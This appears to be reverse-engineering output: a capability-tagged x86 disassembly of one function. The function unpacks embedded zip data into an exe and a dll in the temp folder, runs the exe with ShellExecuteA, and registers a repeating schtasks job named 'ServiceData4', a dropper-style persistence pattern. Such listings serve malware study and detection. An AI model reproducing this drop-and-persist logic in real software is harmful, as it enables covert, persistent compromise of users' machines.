Function at 0x60f240
Capabilities:
Create process on windows
Get common file path
Resolve function by parsing pe exports
Schedule task via at
Schedule task via schtasks
Write and execute a file
Write file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x58c
mov edi, dword [0x7a92c0]
mov ebp, dword [0x7a92c4]
mov eax, dword [0x7bb044]
mov dword [esp + 0x57c], eax
xor eax, eax
mov eax, dword [0x7a92d0]
mov dword [esp], 0x104
mov esi, dword [0x7a92c8]
mov ebx, dword [0x7a92cc]
mov dword [esp + 0x26c], eax
lea eax, [esp + 0x278]
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
sub esp, 8
test eax, eax
je 0x60f9f8
mov dword [esp], edi
mov dword [esp + 4], ebp
call fcn.00402690
mov dword [esp + 4], esi
mov dword [esp], eax
call fcn.00402690
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.00402690
mov edi, dword [esp + 0x26c]
mov dword [esp], eax
mov dword [esp + 4], edi
call fcn.00402690
mov dword [esp], eax
mov esi, eax
call sub.msvcrt.dll_malloc
mov ebx, eax
test eax, eax
je 0x60fa34
mov dword [esp + 8], 0x73e6f0
xor edi, edi
xor ebp, ebp
mov dword [esp + 4], 0x73e718
mov dword [esp], str.exe_name_is__s_and_dll_name_id__s_n
call fcn.0060f1a0
mov eax, dword [0x7a92c0]
mov dword [esp + 4], 0x73f5a0
mov dword [esp], ebx
mov dword [esp + 8], eax
call sub.msvcrt.dll_memcpy
mov dword [esp], str.memcpy_after_1
call sub.msvcrt.dll_puts
mov eax, dword [0x7a92c0]
mov edx, dword [0x7a92c4]
mov dword [esp + 4], 0x754840
add eax, ebx
mov dword [esp + 8], edx
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov dword [esp], str.memcpy_after_2
call sub.msvcrt.dll_puts
mov eax, dword [0x7a92c4]
mov edx, dword [0x7a92c8]
mov dword [esp + 4], 0x769ae0
add eax, ebx
add eax, dword [0x7a92c0]
mov dword [esp + 8], edx
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov dword [esp], str.memcpy_after_3
call sub.msvcrt.dll_puts
mov edx, dword [0x7a92cc]
mov eax, dword [0x7a92c4]
mov dword [esp + 4], 0x77ed80
add eax, dword [0x7a92c0]
add eax, dword [0x7a92c8]
add eax, ebx
mov dword [esp + 8], edx
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov dword [esp], str.memcpy_after_4
call sub.msvcrt.dll_puts
mov edx, dword [0x7a92d0]
mov eax, dword [0x7a92c4]
mov dword [esp + 4], 0x794020
add eax, dword [0x7a92c0]
add eax, dword [0x7a92c8]
add eax, dword [0x7a92cc]
mov dword [esp + 8], edx
add eax, ebx
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov dword [esp], str.memcpy_after_5
call sub.msvcrt.dll_puts
mov dword [esp], str.before_zip_stream_oopen
call sub.msvcrt.dll_puts
fld dword [0x7b678c]
xor eax, eax
xor ecx, ecx
xor edx, edx
mov dword [esp + 0x244], ecx
mov dword [esp + 0x23c], eax
fst qword [esp + 0x1f8]
fld dword [0x7b6780]
mov dword [esp + 0x240], edx
fst qword [esp + 0x1ec]
mov dword [esp + 0x234], eax
mov dword [esp + 0x238], edx
mov dword [esp + 0x218], eax
mov dword [esp + 0x21c], edx
mov dword [esp + 0x214], ecx
mov dword [esp + 0x20c], eax
mov dword [esp + 0x210], edx
xor edx, edx
mov dword [esp + 0x204], ecx
mov dword [esp + 0x1e8], ecx
mov dword [esp + 0x1e4], ecx
mov dword [esp + 0x1dc], ecx
mov dword [esp + 0x258], 0x39
mov dword [esp + 0x254], 1
mov dword [esp + 0x250], 0
mov dword [esp + 0x24c], 0
mov dword [esp + 0x248], 0
mov dword [esp + 0x230], 0
mov dword [esp + 0x228], edi
mov dword [esp + 0x22c], ebp
mov dword [esp + 0x220], edi
mov dword [esp + 0x224], ebp
mov dword [esp + 0x208], ebx
mov dword [esp + 0x200], ebx
mov dword [esp + 0x1f4], 0
mov dword [esp + 0x1e0], 0
mov dword [esp + 0x1d8], eax
fld dword [0x7b6790]
mov dword [esp + 0x1d4], ecx
mov dword [esp + 0x1d0], eax
fst qword [esp + 0x160]
mov dword [esp + 0x1c4], ecx
fldz
mov dword [esp + 0x1c0], edx
mov dword [esp + 0x1bc], edx
mov dword [esp + 0x1b8], ecx
mov dword [esp + 0x1b0], ecx
mov dword [esp + 0x1ac], edx
mov dword [esp + 0x1a4], eax
mov dword [esp + 0x19c], edx
mov dword [esp + 0x198], ecx
mov dword [esp + 0x1cc], ebx
mov dword [esp + 0x1c8], ebx
mov dword [esp + 0x1b4], ebx
mov dword [esp + 0x1a8], ebx
mov dword [esp + 0x1a0], 0
mov dword [esp + 0x194], 0
mov dword [esp + 0x190], 0
mov dword [esp + 0x18c], 0
mov dword [esp + 0x188], 0x72
mov dword [esp + 0x184], 0
mov dword [esp + 0x180], 8
mov dword [esp + 0x17c], 4
mov dword [esp + 0x178], esi
mov dword [esp + 0x174], 0
mov dword [esp + 0x170], 6
mov dword [esp + 0x16c], 4
mov dword [esp + 0x168], ebx
mov dword [esp + 0x15c], 0
mov dword [esp + 0x158], 0
mov dword [esp + 0x154], ebx
fst qword [esp + 0x104]
fxch st(2)
mov dword [esp + 0x150], eax
fstp qword [esp + 0xfc]
mov dword [esp + 0x14c], eax
fst qword [esp + 0xf0]
fld dword [0x7b6788]
mov dword [esp + 0x148], eax
fst qword [esp + 0xe8]
fxch st(3)
mov dword [esp + 0x144], eax
fst qword [esp + 0xd8]
mov dword [esp + 0x130], ecx
fld1
mov dword [esp + 0x120], edx
fst qword [esp + 0xcc]
fxch st(3)
mov dword [esp + 0x11c], edx
fst qword [esp + 0xbc]
fxch st(1)
mov dword [esp + 0xf8], eax
mov dword [esp + 0xd4], ecx
mov dword [esp + 0xc4], eax
mov dword [esp + 0x140], esi
mov dword [esp + 0x13c], 7
mov dword [esp + 0x138], 9
mov dword [esp + 0x134], 3
mov dword [esp + 0x12c], 8
mov dword [esp + 0x128], 6
mov dword [esp + 0x124], 0
mov dword [esp + 0x118], 0
mov dword [esp + 0x114], esi
mov dword [esp + 0x110], 5
mov dword [esp + 0x10c], esi
mov dword [esp + 0xe4], esi
mov dword [esp + 0xe0], ebx
mov dword [esp + 0xc8], ebx
mov dword [esp + 0xb8], edx
fst qword [esp + 0xac]
fxch st(4)
mov dword [esp + 0x88], edx
fstp qword [esp + 0x94]
fxch st(2)
mov dword [esp + 0x70], edx
fstp qword [esp + 0x58]
fld dword [0x7b677c]
mov dword [esp + 0x60], edx
mov edx, dword [esp + 0x274]
fstp qword [esp + 0x4c]
fxch st(1)
fst qword [esp + 0x44]
mov dword [esp + 0xa8], eax
mov dword [esp + 0xa0], eax
mov dword [esp + 0x8c], eax
mov dword [esp + 0x6c], ecx
mov dword [esp + 0x54], ecx
mov dword [esp + 0x40], edx
mov dword [esp + 0xb4], 9
mov dword [esp + 0xa4], 0
mov dword [esp + 0x9c], esi
mov dword [esp + 0x90], 3
mov dword [esp + 0x84], ebx
mov dword [esp + 0x80], esi
mov dword [esp + 0x7c], esi
mov dword [esp + 0x78], 7
mov dword [esp + 0x74], 0
mov dword [esp + 0x68], 1
mov dword [esp + 0x64], esi
mov dword [esp + 0x3c], 8
mov dword [esp + 0x38], esi
mov dword [esp + 0x34], 0
mov dword [esp + 0x30], 7
mov dword [esp + 0x2c], ebx
fstp qword [esp + 0x24]
mov dword [esp + 0x20], eax
lea eax, [esp + 0x274]
fstp qword [esp + 0x18]
fld dword [0x7b6794]
mov dword [esp], eax
fstp qword [esp + 0xc]
mov dword [esp + 0x14], 0
fstp qword [esp + 4]
call fcn.00427ab0
mov eax, dword [esp + 0x274]
test eax, eax
je 0x60fa10
lea eax, [esp + 0x278]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov edx, dword [0x73e728]
lea eax, [edx + eax + 0xa]
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov ebx, eax
test eax, eax
je 0x60fa21
lea eax, [esp + 0x278]
mov dword [esp + 0xc], 0x73e718
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__s
mov dword [esp], ebx
call fcn.0060fac0
lea eax, [esp + 0x278]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov edx, dword [0x73e710]
lea eax, [edx + eax + 0xa]
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov esi, eax
test eax, eax
je 0x60fa21
lea eax, [esp + 0x278]
mov dword [esp + 0xc], 0x73e6f0
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__s
mov dword [esp], esi
call fcn.0060fac0
mov eax, dword [esp + 0x274]
mov dword [esp + 8], ebx
mov dword [esp], 0x73e718
mov dword [esp + 4], eax
call fcn.00600930
mov eax, dword [esp + 0x274]
mov dword [esp + 8], esi
mov dword [esp], 0x73e6f0
mov dword [esp + 4], eax
call fcn.00600930
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp], str.exe_name_is__s_and_dll_name_id__s_n
call fcn.0060f1a0
mov edi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], ebx
mov dword [esp + 4], str.open
mov dword [esp], 0
call edi
sub esp, 0x18
lea ebp, [esp + 0x37c]
mov dword [esp + 8], ebx
mov dword [esp + 4], str.__create__tn__ServiceData4___tr___s___st_00:01__du_9800:59__sc_once__ri_1__f
mov dword [esp], ebp
call fcn.0060fac0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], ebp
mov dword [esp + 8], str.schtasks.exe
mov dword [esp + 4], 0
mov dword [esp], 0
call edi
sub esp, 0x18
mov dword [esp], esi
call fcn.0040f8c0
mov dword [esp], ebx
call fcn.0040f8c0
xor eax, eax
mov edx, dword [esp + 0x57c]
sub edx, dword [0x7bb044]
jne 0x60fa2f
add esp, 0x58c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], str.Failed_to_get_temp_path
call sub.msvcrt.dll_perror
mov eax, 1
jmp 0x60f9d8
mov dword [esp], str.Failed_to_open_zip_stream
call sub.msvcrt.dll_perror
or eax, 0xffffffff
jmp 0x60f9d8
mov dword [esp], str.Failed_to_allocate_memory
call sub.msvcrt.dll_perror
jmp 0x60fa1c
call fcn.00401690
mov dword [esp], 2
call dword [0x727fb4]
mov dword [esp + 8], 0x27
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Failed_to_allocate_memory_for_ZIP_data_n
call fcn.0040f8d8
jmp 0x60fa04